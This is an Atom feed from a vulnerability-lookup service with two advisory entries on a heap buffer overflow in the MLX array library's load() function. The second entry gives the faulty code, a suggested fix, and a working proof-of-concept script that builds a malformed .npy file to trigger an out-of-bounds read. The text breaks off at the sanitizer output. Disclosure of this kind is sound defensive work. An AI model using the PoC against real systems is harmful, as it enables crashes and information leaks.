<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-12T18:31:33.620156+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2025-62608</id>
    <title>CVE-2025-62608 — MLX has heap-buffer-overflow in load()</title>
    <updated>2026-10-12T18:31:33.621798+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> ml-explore mlx</p>
<p>MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2025-62608"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-w6vg-jg77-2qg6</id>
    <title>GHSA-w6vg-jg77-2qg6 — MLX has heap-buffer-overflow in load()</title>
    <updated>2026-10-12T18:31:33.621845+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: mlx</p>
<p>## Summary</p>
<p>Heap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.</p>
<p>Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7</p>
<p>## Vulnerability</p>
<p>The parser reads a 118-byte header from the file, but line 268 uses `std::string(&amp;buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.</p>
<p>**Location**: `mlx/io/load.cpp:268,276`</p>
<p>**Bug #1** (line 268):
```cpp
std::string header(&amp;buffer[0]);  // stops at first null byte
```</p>
<p>**Bug #2** (line 276):
```cpp
bool col_contiguous = header[34] == 'T';  // No bounds check
```</p>
<p>## Possible Fix</p>
<p>```cpp
// Line 268
std::string header(&amp;buffer[0], header_len);</p>
<p>// Line 276
if (header.length() &lt; 35) throw std::runtime_error("Malformed header");
```</p>
<p>## PoC</p>
<p>```bash
pip install mlx</p>
<p># generate exploit
cat &gt; exploit.py &lt;&lt; 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '&lt;u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
    f.write(magic + version + struct.pack('&lt;H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py</p>
<p>python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
```</p>
<p>**AddressSanitizer Output (with instrumented b…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-w6vg-jg77-2qg6"/>
  </entry>
</feed>
